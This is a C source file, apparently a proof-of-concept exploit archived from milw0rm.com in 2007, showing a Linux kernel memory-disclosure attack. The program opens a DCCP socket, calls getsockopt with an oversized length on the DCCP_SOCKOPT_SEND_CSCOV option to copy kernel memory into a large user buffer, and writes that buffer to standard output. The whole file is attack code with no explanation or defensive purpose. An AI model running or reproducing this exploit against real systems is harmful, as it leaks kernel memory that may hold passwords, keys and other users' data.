39 lines
No EOL
840 B
C
39 lines
No EOL
840 B
C
#include <netinet/in.h>
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#include <stdio.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <net/if.h>
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#include <sys/mman.h>
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#include <linux/net.h>
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#define BUFSIZE 0x10000000
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int main(int argc, char *argv[])
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{
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void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
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MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
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if (mem == (void*)-1) {
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printf("Alloc failed\n");
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return -1;
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}
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/* SOCK_DCCP, IPPROTO_DCCP */
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int s = socket(PF_INET, 6, 33);
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if (s == -1) {
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fprintf(stderr, "socket failure!\n");
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return 1;
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}
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/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
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int len = BUFSIZE;
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int x = getsockopt(s, 269, 11, mem, &len);
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if (x == -1)
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perror("SETSOCKOPT");
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else
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printf("SUCCESS\n");
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write(1, mem, BUFSIZE);
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return 0;
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}
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// milw0rm.com [2007-03-28]
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